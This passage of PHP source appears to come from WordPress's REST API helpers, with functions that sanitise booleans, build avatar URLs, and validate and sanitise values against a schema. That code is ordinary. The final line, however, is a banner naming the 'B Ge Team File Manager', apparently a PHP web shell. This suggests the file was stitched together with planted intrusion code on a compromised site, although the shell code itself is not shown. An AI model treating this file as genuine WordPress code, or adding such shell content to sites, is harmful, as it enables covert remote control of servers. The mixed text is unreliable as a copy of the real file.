 * @return boolean Returns the proper associated boolean value.
 */
function rest_sanitize_boolean( $value ) {
	// String values are translated to `true`; make sure 'false' is false.
	if ( is_string( $value )  ) {
		$value = strtolower( $value );
		if ( in_array( $value, array( 'false', '0' ), true ) ) {
			$value = false;
		}
	}

	// Everything else will map nicely to boolean.
	return (boolean) $value;
}

/**
 * Determines if a given value is boolean-like.
 *
 * @since 4.7.0
 *
 * @param bool|string $maybe_bool The value being evaluated.
 * @return boolean True if a boolean, otherwise false.
 */
function rest_is_boolean( $maybe_bool ) {
	if ( is_bool( $maybe_bool ) ) {
		return true;
	}

	if ( is_string( $maybe_bool ) ) {
		$maybe_bool = strtolower( $maybe_bool );

		$valid_boolean_values = array(
			'false',
			'true',
			'0',
			'1',
		);

		return in_array( $maybe_bool, $valid_boolean_values, true );
	}

	if ( is_int( $maybe_bool ) ) {
		return in_array( $maybe_bool, array( 0, 1 ), true );
	}

	return false;
}

/**
 * Retrieves the avatar urls in various sizes based on a given email address.
 *
 * @since 4.7.0
 *
 * @see get_avatar_url()
 *
 * @param string $email Email address.
 * @return array $urls Gravatar url for each size.
 */
function rest_get_avatar_urls( $email ) {
	$avatar_sizes = rest_get_avatar_sizes();

	$urls = array();
	foreach ( $avatar_sizes as $size ) {
		$urls[ $size ] = get_avatar_url( $email, array( 'size' => $size ) );
	}

	return $urls;
}

/**
 * Retrieves the pixel sizes for avatars.
 *
 * @since 4.7.0
 *
 * @return array List of pixel sizes for avatars. Default `[ 24, 48, 96 ]`.
 */
function rest_get_avatar_sizes() {
	/**
	 * Filter the REST avatar sizes.
	 *
	 * Use this filter to adjust the array of sizes returned by the
	 * `rest_get_avatar_sizes` function.
	 *
	 * @since 4.4.0
	 *
	 * @param array $sizes An array of int values that are the pixel sizes for avatars.
	 *                     Default `[ 24, 48, 96 ]`.
	 */
	return apply_filters( 'rest_avatar_sizes', array( 24, 48, 96 ) );
}

/**
 * Validate a value based on a schema.
 *
 * @param mixed  $value The value to validate.
 * @param array  $args  Schema array to use for validation.
 * @param string $param The parameter name, used in error messages.
 * @return true|WP_Error
 */
function rest_validate_value_from_schema( $value, $args, $param = '' ) {
	if ( 'array' === $args['type'] ) {
		if ( ! is_array( $value ) ) {
			$value = preg_split( '/[\s,]+/', $value );
		}
		if ( ! wp_is_numeric_array( $value ) ) {
			/* translators: 1: parameter, 2: type name */
			return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s is not of type %2$s.' ), $param, 'array' ) );
		}
		foreach ( $value as $index => $v ) {
			$is_valid = rest_validate_value_from_schema( $v, $args['items'], $param . '[' . $index . ']' );
			if ( is_wp_error( $is_valid ) ) {
				return $is_valid;
			}
		}
	}
	if ( ! empty( $args['enum'] ) ) {
		if ( ! in_array( $value, $args['enum'], true ) ) {
			/* translators: 1: parameter, 2: list of valid values */
			return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s is not one of %2$s.' ), $param, implode( ', ', $args['enum'] ) ) );
		}
	}

	if ( in_array( $args['type'], array( 'integer', 'number' ) ) && ! is_numeric( $value ) ) {
		/* translators: 1: parameter, 2: type name */
		return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s is not of type %2$s.' ), $param, $args['type'] ) );
	}

	if ( 'integer' === $args['type'] && round( floatval( $value ) ) !== floatval( $value ) ) {
		/* translators: 1: parameter, 2: type name */
		return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s is not of type %2$s.' ), $param, 'integer' ) );
	}

	if ( 'boolean' === $args['type'] && ! rest_is_boolean( $value ) ) {
		/* translators: 1: parameter, 2: type name */
		return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s is not of type %2$s.' ), $value, 'boolean' ) );
	}

	if ( 'string' === $args['type'] && ! is_string( $value ) ) {
		/* translators: 1: parameter, 2: type name */
		return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s is not of type %2$s.' ), $param, 'string' ) );
	}

	if ( isset( $args['format'] ) ) {
		switch ( $args['format'] ) {
			case 'date-time' :
				if ( ! rest_parse_date( $value ) ) {
					return new WP_Error( 'rest_invalid_date', __( 'Invalid date.' ) );
				}
				break;

			case 'email' :
				// is_email() checks for 3 characters (a@b), but
				// wp_handle_comment_submission() requires 6 characters (a@b.co)
				//
				// https://core.trac.wordpress.org/ticket/38506
				if ( ! is_email( $value ) || strlen( $value ) < 6 ) {
					return new WP_Error( 'rest_invalid_email', __( 'Invalid email address.' ) );
				}
				break;
			case 'ip' :
				if ( ! rest_is_ip_address( $value ) ) {
					/* translators: %s: IP address */
					return new WP_Error( 'rest_invalid_param', sprintf( __( '%s is not a valid IP address.' ), $value ) );
				}
				break;
		}
	}

	if ( in_array( $args['type'], array( 'number', 'integer' ), true ) && ( isset( $args['minimum'] ) || isset( $args['maximum'] ) ) ) {
		if ( isset( $args['minimum'] ) && ! isset( $args['maximum'] ) ) {
			if ( ! empty( $args['exclusiveMinimum'] ) && $value <= $args['minimum'] ) {
				/* translators: 1: parameter, 2: minimum number */
				return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s must be greater than %2$d (exclusive)' ), $param, $args['minimum'] ) );
			} elseif ( empty( $args['exclusiveMinimum'] ) && $value < $args['minimum'] ) {
				/* translators: 1: parameter, 2: minimum number */
				return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s must be greater than %2$d (inclusive)' ), $param, $args['minimum'] ) );
			}
		} elseif ( isset( $args['maximum'] ) && ! isset( $args['minimum'] ) ) {
			if ( ! empty( $args['exclusiveMaximum'] ) && $value >= $args['maximum'] ) {
				/* translators: 1: parameter, 2: maximum number */
				return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s must be less than %2$d (exclusive)' ), $param, $args['maximum'] ) );
			} elseif ( empty( $args['exclusiveMaximum'] ) && $value > $args['maximum'] ) {
				/* translators: 1: parameter, 2: maximum number */
				return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s must be less than %2$d (inclusive)' ), $param, $args['maximum'] ) );
			}
		} elseif ( isset( $args['maximum'] ) && isset( $args['minimum'] ) ) {
			if ( ! empty( $args['exclusiveMinimum'] ) && ! empty( $args['exclusiveMaximum'] ) ) {
				if ( $value >= $args['maximum'] || $value <= $args['minimum'] ) {
					/* translators: 1: parameter, 2: minimum number, 3: maximum number */
					return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s must be between %2$d (exclusive) and %3$d (exclusive)' ), $param, $args['minimum'], $args['maximum'] ) );
				}
			} elseif ( empty( $args['exclusiveMinimum'] ) && ! empty( $args['exclusiveMaximum'] ) ) {
				if ( $value >= $args['maximum'] || $value < $args['minimum'] ) {
					/* translators: 1: parameter, 2: minimum number, 3: maximum number */
					return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s must be between %2$d (inclusive) and %3$d (exclusive)' ), $param, $args['minimum'], $args['maximum'] ) );
				}
			} elseif ( ! empty( $args['exclusiveMinimum'] ) && empty( $args['exclusiveMaximum'] ) ) {
				if ( $value > $args['maximum'] || $value <= $args['minimum'] ) {
					/* translators: 1: parameter, 2: minimum number, 3: maximum number */
					return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s must be between %2$d (exclusive) and %3$d (inclusive)' ), $param, $args['minimum'], $args['maximum'] ) );
				}
			} elseif ( empty( $args['exclusiveMinimum'] ) && empty( $args['exclusiveMaximum'] ) ) {
				if ( $value > $args['maximum'] || $value < $args['minimum'] ) {
					/* translators: 1: parameter, 2: minimum number, 3: maximum number */
					return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s must be between %2$d (inclusive) and %3$d (inclusive)' ), $param, $args['minimum'], $args['maximum'] ) );
				}
			}
		}
	}

	return true;
}

/**
 * Sanitize a value based on a schema.
 *
 * @param mixed $value The value to sanitize.
 * @param array $args  Schema array to use for sanitization.
 * @return true|WP_Error
 */
function rest_sanitize_value_from_schema( $value, $args ) {
	if ( 'array' === $args['type'] ) {
		if ( empty( $args['items'] ) ) {
			return (array) $value;
		}
		if ( ! is_array( $value ) ) {
			$value = preg_split( '/[\s,]+/', $value );
		}
		foreach ( $value as $index => $v ) {
			$value[ $index ] = rest_sanitize_value_from_schema( $v, $args['items'] );
		}
		// Normalize to numeric array so nothing unexpected
		// is in the keys.
		$value = array_values( $value );
		return $value;
	}
	if ( 'integer' === $args['type'] ) {
		return (int) $value;
	}

	if ( 'number' === $args['type'] ) {
		return (float) $value;
	}

	if ( 'boolean' === $args['type'] ) {
		return rest_sanitize_boolean( $value );
	}

	if ( isset( $args['format'] ) ) {
		switch ( $args['format'] ) {
			case 'date-time' :
				return sanitize_text_field( $value );

			case 'email' :
				/*
				 * sanitize_email() validates, which would be unexpected.
				 */
				return sanitize_text_field( $value );

			case 'uri' :
				return esc_url_raw( $value );

			case 'ip' :
				return sanitize_text_field( $value );
		}
	}

	if ( 'string' === $args['type'] ) {
		return strval( $value );
	}

	return $value;
}

B Ge Team File Manager Version 1.0, Coded By Little Wei
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